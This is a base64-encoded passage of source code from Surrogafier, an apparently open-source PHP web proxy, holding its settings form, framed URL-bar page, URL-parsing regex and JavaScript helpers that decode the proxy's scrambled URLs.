cGhwIGlmKEZPUkNFX0RFRkFVTFRfVFVOTkVMKXsgPz4gc3R5bGU9ImRpc3BsYXk6IG5vbmUiPjw/cGhwIH0gPz4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VHVubmVsIFByb3h5OjwvdGQ+DQo8dGQ+PHRhYmxlIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+DQo8dHI+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcGlwIiBvbmtleXVwPSJpZih0aGlzLnZhbHVlLm1hdGNoKDw/cGhwIGVjaG8oSVBSRUdFWFApOyA/PikpeyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMicpOyB0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSg8P3BocCBlY2hvKElQUkVHRVhQKTsgPz4sJ1wkMScpOyBkb2N1bWVudC5mb3Jtc1swXS48P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3Bwb3J0LmZvY3VzKCk7IH07IiBzdHlsZT0id2lkdGg6IDEwMCU7IHRleHQtYWxpZ246IGxlZnQiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3BpcCddKT9ERUZBVUxUX1RVTk5FTF9QSVA6JF9DT09LSUVbQ09PS19QUkVGLidfcGlwJ10pOyA/PiIgLz48L3RkPg0KCTx0ZCBzdHlsZT0id2lkdGg6IDVweCI+Jm5ic3A7Jm5ic3A7PC90ZD4NCgk8dGQgc3R5bGU9IndpZHRoOiA1MHB4Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wcG9ydCIgbWF4bGVuZ3RoPSI1IiBzaXplPSI1IiBzdHlsZT0id2lkdGg6IDUwcHgiIHZhbHVlPSI8P3BocCBlY2hvKGVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pP0RFRkFVTFRfVFVOTkVMX1BQT1JUOiRfQ09PS0lFW0NPT0tfUFJFRi4nX3Bwb3J0J10pOyA/PiIgLz48L3RkPg0KPC90cj4NCjwvdGFibGU+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj4NCjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+VXNlci1BZ2VudDo8L3RkPg0KPHRkPjxzZWxlY3QgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnQiIHN0eWxlPSJ3aWR0aDogMTAwJSIgb25jaGFuZ2U9InVzZXJhZ2VudF9jaGVjayh0cnVlKTsiPg0KPD9waHAgZm9yZWFjaCgkdXNlcmFnZW50X2FycmF5IGFzICR1c2VyYWdlbnQpeyA/Pg0KCTxvcHRpb24gdmFsdWU9Ijw/cGhwIGVjaG8oJHVzZXJhZ2VudFswXSk7ID8+Ijw/cGhwIGlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddPT0kdXNlcmFnZW50WzBdKSBlY2hvICcgc2VsZWN0ZWQ9InNlbGVjdGVkIic7ID8+Pjw/cGhwIGVjaG8oJHVzZXJhZ2VudFsxXSk7ID8+PC9vcHRpb24+DQo8P3BocCB9ID8+DQo8L3NlbGVjdD48L3RkPg0KPC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiIGlkPSJ1c2VyYWdlbnRfdGV4dHRyIjw/cGhwIGVjaG8oJF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50J109PScxJz9udWxsOicgc3R5bGU9ImRpc3BsYXk6IG5vbmUiJyk7ID8+Pg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0idGV4dCIgaWQ9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fdXNlcmFnZW50dGV4dCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91c2VyYWdlbnR0ZXh0IiB2YWx1ZT0iPD9waHAgZWNobygkX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnR0ZXh0J10pOyA/PiIgc3R5bGU9IndpZHRoOiA5OSUiIC8+PC90ZD4NCjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl91cmxfZm9ybSIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfdXJsX2Zvcm0nXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtQZXJzaXN0ZW50IFVSTCBGb3JtPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX2Nvb2tpZXMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9jb29raWVzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIENvb2tpZXM8L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9yZW1vdmVfcmVmZXJlciIgc3R5bGU9ImJvcmRlcjogMHB4IiA8P3BocCBpZighZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX3JlZmVyZXInXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtSZW1vdmUgUmVmZXJlciBGaWVsZDwvdGQ+PC90cj4NCjx0ciBjbGFzcz0iYWR2YW5jZWRfc3R1ZmYiPjx0ZD4mbmJzcDs8L3RkPjx0ZCBzdHlsZT0idGV4dC1hbGlnbjogbGVmdCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3JlbW92ZV9zY3JpcHRzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfc2NyaXB0cyddKSkgZWNobyAnY2hlY2tlZD0iY2hlY2tlZCIgJzsgPz4vPiZuYnNwO1JlbW92ZSBTY3JpcHRzIChKUywgVkJTLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fcmVtb3ZlX29iamVjdHMiIHN0eWxlPSJib3JkZXI6IDBweCIgPD9waHAgaWYoIWVtcHR5KCRfQ09PS0lFW0NPT0tfUFJFRi4nX3JlbW92ZV9vYmplY3RzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7UmVtb3ZlIE9iamVjdHMgKEZsYXNoLCBKYXZhLCBldGMpPC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkPiZuYnNwOzwvdGQ+PHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiBsZWZ0Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz5fZW5jcnlwdF91cmxzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X3VybHMnXSkpIGVjaG8gJ2NoZWNrZWQ9ImNoZWNrZWQiICc7ID8+Lz4mbmJzcDtFbmNyeXB0IFVSTHM8bm9zY3JpcHQ+PGI+Kio8L2I+PC9ub3NjcmlwdD48L3RkPjwvdHI+DQo8dHIgY2xhc3M9ImFkdmFuY2VkX3N0dWZmIj48dGQ+Jm5ic3A7PC90ZD48dGQgc3R5bGU9InRleHQtYWxpZ246IGxlZnQiPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9lbmNyeXB0X2Nvb2tzIiBzdHlsZT0iYm9yZGVyOiAwcHgiIDw/cGhwIGlmKCFlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19lbmNyeXB0X2Nvb2tzJ10pKSBlY2hvICdjaGVja2VkPSJjaGVja2VkIiAnOyA/Pi8+Jm5ic3A7RW5jcnlwdCBDb29raWVzPG5vc2NyaXB0PjxiPioqPC9iPjwvbm9zY3JpcHQ+PC90ZD48L3RyPg0KPHRyIGNsYXNzPSJhZHZhbmNlZF9zdHVmZiI+PHRkIGNvbHNwYW49IjIiPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJTdXJyb2dhZnkiIHN0eWxlPSJ3aWR0aDogMTAwJTsgYmFja2dyb3VuZC1jb2xvcjogI0YwRjBGMCIgLz48L3RkPjwvdHI+DQo8dHI+PHRkIHN0eWxlPSJmb250LXNpemU6IDhwdCIgY29sc3Bhbj0iMiI+DQo8ZGl2IGNsYXNzPSJzaWduYXR1cmUiPlN1cnJvZ2FmaWVyIHY8P3BocCBlY2hvKFZFUlNJT04pOyA/PiA8Yj4mbWlkZG90OzwvYj4gQnJhZCBDYWJsZTwvZGl2Pg0KPGRpdiBjbGFzcz0ibm9zY3JpcHRfc3R1ZmYiIHN0eWxlPSJmbG9hdDogcmlnaHQiPjxhIGhyZWY9IiMiIG9uY2xpY2s9InRvZ2dsZV9tb2RlKCk7IiBpZD0ibW9kZV90b2dnbGVyIj48P3BocCBlY2hvKFNJTVBMRV9NT0RFPydBZHZhbmNlZCc6J1NpbXBsZScpOyA/PiBNb2RlPC9hPjwvZGl2Pg0KPC90ZD48L3RyPg0KPC90YWJsZT4NCjxub3NjcmlwdD4NCjxiciAvPg0KPGI+Kio8L2I+IFN1cnJvZ2FmaWVyIGhhcyBkZXRlY3RlZCB0aGF0IHlvdXIgYnJvd3NlciBkb2VzIG5vdCBoYXZlIEphdmFzY3JpcHQgZW5hYmxlZC4gPGI+Kio8L2I+DQo8YnIgLz4NCjxiPioqPC9iPiBTdXJyb2dhZmllciByZXF1aXJlcyBKYXZhc2NyaXB0IGluIG9yZGVyIHRvIGZ1bmN0aW9uIHRvIGl0cyBmdWxsIHBvdGVudGlhbC4gPGI+Kio8L2I+DQo8L25vc2NyaXB0Pg0KPC9mb3JtPg0KPC9jZW50ZXI+DQo8L2JvZHk+DQo8L2h0bWw+DQoNCjw/cGhwIGV4aXQoKTsgfQ0KDQojIH19fQ0KDQojIEZSQU1FRCBQQUdFIFdJVEggVVJMIEZPUk0ge3t7DQppZihQQUdFVFlQRV9JRD09PVBBR0VUWVBFX0ZSQU1FX1RPUCAmJiBPUklHX1VSTCE9bnVsbCl7ID8+DQo8aHRtbD4NCjxoZWFkPg0KPHRpdGxlPjw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PjwvdGl0bGU+DQo8c3R5bGU+DQoJYm9keXtmb250LWZhbWlseTogYml0c3RyZWFtIHZlcmEgc2FucywgdHJlYnVjaGV0IG1zOyBtYXJnaW46IDBweDsgcGFkZGluZzogMHB4OyBmb250LXNpemU6IDEycHg7IG92ZXJmbG93OiBoaWRkZW59DQoJaW5wdXR7Ym9yZGVyOiAxcHggc29saWQgIzAwMDAwMH0NCgl0ZHtmb250LXNpemU6IDEycHh9DQoJYXt0ZXh0LWRlY29yYXRpb246IG5vbmU7IGNvbG9yOiAjMDAwMDAwfQ0KCWE6aG92ZXJ7dGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmV9DQo8L3N0eWxlPg0KPHNjcmlwdD4NCjwhLS0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj10cnVlOw0KDQo8P3BocCBpZihFTkNSWVBUX1VSTFMpIGpzX3Byb3hlbmMoKTsgPz4NCg0KZnVuY3Rpb24gc3VibWl0X2NvZGUoKXsNCjw/cGhwIGlmKEVOQ1JZUFRfVVJMUyl7ID8+DQoJZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZT08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3BlLnByb3hlbmMoZG9jdW1lbnQuZm9ybXNbMF0uPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi52YWx1ZSk7DQo8P3BocCB9ID8+DQoJcmV0dXJuIHRydWU7DQp9DQoNCi8vLS0+DQo8L3NjcmlwdD4NCjwvaGVhZD4NCjxib2R5Pg0KPGZvcm0gbWV0aG9kPSJnZXQiIG9uc3VibWl0PSJyZXR1cm4gc3VibWl0X2NvZGUoKTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iIiB2YWx1ZT0iIiAvPg0KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgc3R5bGU9IndpZHRoOiAxMDAlOyBoZWlnaHQ6IDEwMCU7IHBhZGRpbmc6IDBweDsgbWFyZ2luOiAwcHgiPg0KPHRyPjx0ZD48dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiBzdHlsZT0id2lkdGg6IDEwMCU7IHBhZGRpbmc6IDNweCI+DQo8dHI+DQoJPHRkPiZuYnNwOzxiPjxhIGlkPSJwcm94eV9saW5rIiBocmVmPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PS0mPScuT0VOQ19VUkwpOyA/PiI+U3Vycm9nYWZpZXI8L2E+PC9iPiZuYnNwOyZuYnNwOzwvdGQ+DQoJPHRkIHN0eWxlPSJ3aWR0aDogMTAwJSI+PGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJ1cmwiIG5hbWU9IiIgc3R5bGU9IndpZHRoOiAxMDAlOyBwYWRkaW5nLWxlZnQ6IDRweCIgaWQ9InVybCIgdmFsdWU9Ijw/cGhwIGVjaG8oT1JJR19VUkwpOyA/PiIgLz48L3RkPg0KCTx0ZD4mbmJzcDs8L3RkPg0KCTx0ZD48aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic2ltcGxlX3N0dWZmIiBpZD0ic2ltcGxlX3N1Ym1pdCIgdmFsdWU9IlN1cnJvZ2FmeSIgc3R5bGU9ImJhY2tncm91bmQtY29sb3I6ICNGMEYwRjAiIC8+PC90ZD4NCjwvdHI+DQo8L3RhYmxlPjwvdGQ+PC90cj4NCjx0cj48dGQgc3R5bGU9ImhlaWdodDogMTAwJTsgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMDAwMDAiPg0KPGlmcmFtZSBuYW1lPSI8P3BocCBlY2hvKENPT0tfUFJFRik7ID8+X3RvcCIgc3JjPSI8P3BocCBlY2hvKFRISVNfU0NSSVBULic/PV8mPScuT0VOQ19VUkwpOyA/PiIgZnJhbWVib3JkZXI9IjAiIHN0eWxlPSJib3JkZXI6IDBweDsgd2lkdGg6IDEwMCU7IGhlaWdodDogMTAwJSI+PC9pZnJhbWU+DQo8L3RkPjwvdHI+DQo8L3RhYmxlPg0KPC9mb3JtPg0KPC9ib2R5Pg0KPC9odG1sPg0KPD9waHAgZXhpdCgpOyB9DQoNCiMgfX19DQoNCiMgUFJFLUpBVkFTQ1JJUFQgQ09OU1RBTlRTICYgRlVOQ1RJT05TIHt7ew0KIyB0aGVzZSBjb25zdGFudHMgYW5kIGZ1bmN0aW9ucyBtdXN0IGJlIGRlZmluZWQgYmVmb3JlIEpTIGlzIG91dHB1dCwgYnV0IHdvdWxkIGJlIG1vcmUgcmVhZGFibHkgbG9jYXRlZCBsYXRlcg0KDQojZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnKD86KD86amF2YXNjcmlwdHxtYWlsdG98YWJvdXQpOnx+fCU3ZSknKTsNCmRlZmluZSgnRlJBTUVfTE9DS19SRUdFWFAnLCcvXig/Oig/OmphdmFzY3JpcHR8bWFpbHRvfGFib3V0KTp8IykvaScpOw0KZGVmaW5lKCdBVVJMX0xPQ0tfUkVHRVhQJywnL14oPzooPzpqYXZhc2NyaXB0fG1haWx0b3xhYm91dCk6fCN8Jy5zdHJfcmVwbGFjZShhcnJheSgnLycsJy4nKSxhcnJheSgnXC8nLCdcLicpLGFkZHNsYXNoZXMoVEhJU19TQ1JJUFQpKS4nKS9pJyk7DQpkZWZpbmUoJ1VSTFJFRycsJy9eJy4NCgknKD86KFthLXpdKik/KD86XDo/XC9cLykpJy4JCSMgcHJvdG8NCgknKD86KFteXEBcL10qKVxAKT8nLgkJCSMgdXNlcnBhc3MNCgknKFteXC86XD9cI1wmXSopJy4JCQkjIHNlcnZlcm5hbWUNCgknKD86XDooWzAtOV0rKSk/Jy4JCQkjIHBvcnR2YWwNCgknKFwvW15cJlw/XCNdKj8pPycuCQkJIyBwYXRoDQoJJyhbXlwvXD9cI1wmXSooPzpcJlteXD9cI10qKT8pJy4JIyBmaWxlDQoJJyg/Olw/KFtcc1xTXSo/KSk/Jy4JCQkjIHF1ZXJ5DQoJJyg/OlwjKFtcc1xTXSopKT8nLgkJCSMgbGFiZWwNCickL2l4Jyk7DQoNCmZ1bmN0aW9uIGVzY2FwZV9yZWdleHAoJHJlZ2V4cCwkZG9sbGFyPWZhbHNlKXsNCgkkcmVnZXhwPXN0cl9yZXBsYWNlKCdcXCcsJ1xcXFwnLHN0cl9yZXBsYWNlKCdcJycsJ1xcXCcnLHN0cl9yZXBsYWNlKCciJywnXFwiJyxzdHJfcmVwbGFjZShjaHIoMTApLCdcbicsc3RyX3JlcGxhY2UoY2hyKDEzKSwnXHInLHN0cl9yZXBsYWNlKGNocig5KSwnXHQnLCRyZWdleHApKSkpKSk7DQoJcmV0dXJuICgkZG9sbGFyP3ByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXCQnLCRyZWdleHApOnByZWdfcmVwbGFjZSgnL1tcXFxcXSsoPz1bMC05XSkvJywnXFxcXFxcXFwnLCRyZWdleHApKTsgIyoNCn0NCg0KIyB9fX0NCg0KIyBKQVZBU0NSSVBUIEZVTkNTIHt7ew0KDQppZihRVUVSWV9TVFJJTkc9PSdqc19mdW5jcycgfHwgUVVFUllfU1RSSU5HPT0nanNfZnVuY3NfZnJhbWVkJyl7ID8+Ly88c2NyaXB0Pg0KDQovLyBKQVZBU0NSSVBUIEZVTkNTOiBERUNPRElORyB7e3sNCjw/cGhwIGpzX3Byb3hlbmMoKTsgPz4NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5iNjRkPWZ1bmN0aW9uKHN0cmluZyl7DQoJdmFyIGJpbnJlcD0iIixkZWNzdHI9IiI7DQoJdmFyIGNoYXJudW0sY2hhcmJpbjsNCglzdHJpbmc9c3RyaW5nLnJlcGxhY2UoL1s9XSokLywiIik7DQoJZm9yKHZhciBpPTA7aTxzdHJpbmcubGVuZ3RoO2krKyl7DQoJCWNoYXJudW09c3RyaW5nLmNoYXJDb2RlQXQoaSk7DQoJCWlmKGNoYXJudW0+PTk3KSBjaGFybnVtLT03MTsNCgkJZWxzZSBpZihjaGFybnVtPj02NSkgY2hhcm51bS09NjU7DQoJCWVsc2UgaWYoY2hhcm51bT49NDgpIGNoYXJudW0rPTQ7DQoJCWVsc2UgaWYoY2hhcm51bT09NDMpIGNoYXJudW09NjI7DQoJCWVsc2UgaWYoY2hhcm51bT09NDcpIGNoYXJudW09NjM7DQoJCWJpbnJlcCs9dGhpcy5kZWN0b2JpbihjaGFybnVtLDYpOw0KCX0NCglmb3IodmFyIGk9MDtpKzg8YmlucmVwLmxlbmd0aDtpKz04KXsNCgkJY2hhcmJpbj1iaW5yZXAuc3Vic3RyKGksOCk7DQoJCWRlY3N0cis9U3RyaW5nLmZyb21DaGFyQ29kZSh0aGlzLmJpbnRvZGVjKGNoYXJiaW4pKTsNCgl9DQoJcmV0dXJuIGRlY3N0cjsNCn0NCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZS5wcm94ZGVjPWZ1bmN0aW9uKHVybCl7DQoJdmFyIG5ld191cmwsY2hhcm51bTsNCglpZih1cmwuc3Vic3RyKDAsMSkhPSd+JyAmJiB1cmwuc3Vic3RyKDAsMykudG9Mb3dlckNhc2UoKSE9JyU3ZScpIHJldHVybiB1cmw7DQoJd2hpbGUodXJsLnN1YnN0cigwLDEpPT0nficgfHwgdXJsLnN1YnN0cigwLDMpLnRvTG93ZXJDYXNlKCk9PSclN2UnKXsNCgkJdXJsPXVybC5zdWJzdHIoMSx1cmwubGVuZ3RoLTEpOw0KCQl1cmw9dGhpcy5iNjRkKHVybCk7DQoJCW5ld191cmw9IiI7DQoJCWZvcihpPTA7aTx1cmwubGVuZ3RoO2krKyl7DQoJCQljaGFybnVtPXVybC5jaGFyQ29kZUF0KGkpOw0KCQkJY2hhcm51bS09Ijw/cGhwIGVjaG8oU0VTU19QUkVGKTsgPz4iLmNoYXJDb2RlQXQoaSUiPD9waHAgZWNobyhTRVNTX1BSRUYpOyA/PiIubGVuZ3RoKTsNCgkJCXdoaWxlKGNoYXJudW08MzIpIGNoYXJudW0rPTk0Ow0KCQkJbmV3X3VybCs9U3RyaW5nLmZyb21DaGFyQ29kZShjaGFybnVtKTsNCgkJfQ0KCQl1cmw9bmV3X3VybDsNCgl9DQoJcmV0dXJuIGRlY29kZVVSSUNvbXBvbmVudCh1cmwpOyAvLyB1cmxkZWNvZGUoKQ0KfQ0KDQovLyB9fX0NCg0KLy8gSkFWQVNDUklQVCBGVU5DUzogQ09PS19QUkVGIE9CSkVDVCB7e3sNCg0KPD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pj17DQoNClVSTFJFRzo8P3BocCBlY2hvKHN1YnN0cihVUkxSRUcsMCxzdHJsZW4oVVJMUkVHKS0xKSk7ID8+LA0KVEhJU19TQ1JJUFQ6Ijw/cGhwIGVjaG8oVEhJU19TQ1JJUFQpOyA/PiIsDQpDT09LX1BSRUY6Ijw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4iLA0KcGU6PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pl9wZSwNCmdlbl9jdXJyX3VybG9iajpmdW5jdGlvbigpeyB0aGlzLmN1cnJfdXJsb2JqPW5ldyB0aGlzLmF1cmwodGhpcy5DVVJSX1VSTCk7IH0sDQoNCmdldENvb2tpZUFycjpmdW5jdGlvbigpeyByZXR1cm4gZG9jdW1lbnQuY29va2llLnNwbGl0KCI7ICIpOyB9LA0KDQphdXJsOmZ1bmN0aW9uKHVybCx0b3B1cmwpew0KCXRoaXMuVVJMUkVHPTw/cGhwIGVjaG8oQ09PS19QUkVGKTsgPz4uVVJMUkVHOw0KCXRoaXMuVEhJU19TQ1JJUFQ9PD9waHAgZWNobyhDT09LX1BSRUYpOyA/Pi5USElTX1NDUklQVDsNCgl0aGlzLkVOQ1JZUFRfVVJMUz08P3BocCBlY2hvKENPT0tfUFJFRik7ID8+LkVOQ1JZUFRfVVJMUzsNCg0KCXRoaXMudHJpbT1mdW5jdGlvbihzdHIpeyByZXR1cm4gc3RyLnJlcGxhY2UoL15ccyooW1xzXFNdKj8pXHMqJC8sIiQxIik7IH0NCg0KCXRoaXMuZ2V0X2ZpZWxkcmVxPWZ1bmN0aW9uKGZpZWxkbm8sdmFsdWUpew0KCQl2YXIgZmllbGRyZXFzPW5ldyBBcnJheSgpOw0KCQlmaWVsZHJlcXNbMl09IjovLyIrKHZhbHVlIT0iIj92YWx1ZSsiQCI6IiIpOw0KCQlmaWVsZHJlcXNbNF09KHZhbHVlIT0iIiAmJiBwYXJzZUludCh2YWx1ZSkhPTgwPyI6IitwYXJzZUludCh2YWx1ZSk6IiIpOw0KCQlmaWVsZHJlcXNbN109KHZhbHVlIT0iIj8iPyIrdmFsdWU6IiIpOw0KCQlmaWVsZHJlcXNbOF09KHZhbHVlIT0iIj8iIyIrdmFsdWU6IiIpOw0KCQlpZihmaWVsZHJlcXNbZmllbGRub10hPXVuZGVmaW5lZCkgcmV0dXJuIHZhbHVlOw0KCQkvLyByZXR1cm4gKHZhbHVlIT0iIj9udWxsOnZhbHVlKTsNCgkJZWxzZSByZXR1cm4gZmllbGRyZXFzW2ZpZWxkbm9dOw0KCX0NCg0KCXRoaXMuc2V0X3Byb3RvPWZ1bmN0aW9uKHByb3RvKXsNCgkJaWYocHJvdG89PXVuZGVmaW5lZCkgcHJvdG89Imh0dHAiOw0KCQlpZih0aGlzLmxvY2tlZCkgcmV0dXJuOw0KCQl0aGlzLnByb3RvPXByb3RvOw0KCX0NCgl0aGlzLmdldF9wcm90bz1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5wcm90bzsgfQ0KDQoJdGhpcy5nZXRfdXNlcnBhc3M9ZnVuY3Rpb24oKXsgcmV0dXJuIHRoaXMudXNlcnBhc3M7IH0NCgl0aGlzLnNldF91c2VycGFzcz1mdW5jdGlvbih1c2VycGFzcyl7IGlmKHVzZXJwYXNzPT11bmRlZmluZWQpIHVzZXJwYXNzPSIiOyB0aGlzLnVzZXJwYXNzPXVzZXJwYXNzOyB9DQoJdGhpcy5nZXRfc2VydmVybmFtZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5zZXJ2ZXJuYW1lOyB9DQoJdGhpcy5zZXRfc2VydmVybmFtZT1mdW5jdGlvbihzZXJ2ZXJuYW1lKXsgaWYoc2VydmVybmFtZT09dW5kZWZpbmVkKSBzZXJ2ZXJuYW1lPSIiOyB0aGlzLnNlcnZlcm5hbWU9c2VydmVybmFtZTsgfQ0KCXRoaXMuZ2V0X3BvcnR2YWw9ZnVuY3Rpb24oKXsgcmV0dXJuICgodGhpcy5wb3J0dmFsPT0iIik/KHRoaXMuZ2V0X3Byb3RvKCk9PSJodHRwcyI/IjQ0MyI6IjgwIik6dGhpcy5wb3J0dmFsKTsgfQ0KCXRoaXMuc2V0X3BvcnR2YWw9ZnVuY3Rpb24ocG9ydCl7IGlmKHBvcnQ9PXVuZGVmaW5lZCkgcG9ydD0iIjsgdGhpcy5wb3J0dmFsPSgocGFyc2VJbnQocG9ydCkhPTgwKT9wb3J0OiIiKS50b1N0cmluZygpOyB9DQoJdGhpcy5nZXRfcGF0aD1mdW5jdGlvbigpeyAvLyAqKioNCgkJaWYodGhpcy5wYXRoLmluZGV4T2YoIi8uLi8iKSE9LTEpIHRoaXMucGF0aD10aGlzLnBhdGgucmVwbGFjZSgvKD86XC9bXlwvXSspezAsMX1cL1wuXC5cLy9nLCIvIik7DQoJCWlmKHRoaXMucGF0aC5pbmRleE9mKCIvLi8iKSE9LTEpIHdoaWxlKChwYXRoPXRoaXMucGF0aC5yZXBsYWNlKCIvLi8iLCIvIikpICYmIHBhdGghPXRoaXMucGF0aCkgdGhpcy5wYXRoPXBhdGg7DQoJCXJldHVybiB0aGlzLnBhdGg7DQoJfQ0KCXRoaXMuc2V0X3BhdGg9ZnVuY3Rpb24ocGF0aCl7IGlmKHBhdGg9PXVuZGVmaW5lZCkgcGF0aD0iLyI7IHRoaXMucGF0aD1wYXRoOyB9DQoJdGhpcy5nZXRfZmlsZT1mdW5jdGlvbigpeyByZXR1cm4gdGhpcy5maWxlOyB9DQoJdGhpcy5zZXRfZmlsZT1mdW5jdGlvbihmaWxlKXsgaWYoZmlsZT09dW5kZWZpbmVkKSBmaWxlPSIiOyB0aGlzLmZpbGU9ZmlsZTsgfQ0KCXRoaXMuZ2V0X3F1ZXJ5PWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLnF1ZXJ5OyB9DQoJdGhpcy5zZXRfcXVlcnk9ZnVuY3Rpb24ocXVlcnkpeyBpZihxdWVyeT09dW5kZWZpbmVkKSBxdWVyeT0iIjsgdGhpcy5xdWVyeT1xdWVyeTsgfQ0KCXRoaXMuZ2V0X2xhYmVsPWZ1bmN0aW9uKCl7IHJldHVybiB0aGlzLmxhYmVsOyB9DQoJdGhpcy5zZXRfbGFiZWw9ZnVuY3Rpb24obGFiZWwpeyBpZihsYWJlbD09dW5kZWZpbmVkKSBsYWJlbD0iIjsgdGhpcy5sYWJlbD1sYWJlbDsgfQ0KDQoJdGhpcy5nZXRfdXJsPWZ1bmN0aW9uKCl7DQoJCWlmKHRoaXMubG9ja2VkKSByZXR1cm4gdGhpcy51cmw7DQoJCXJldHVybiB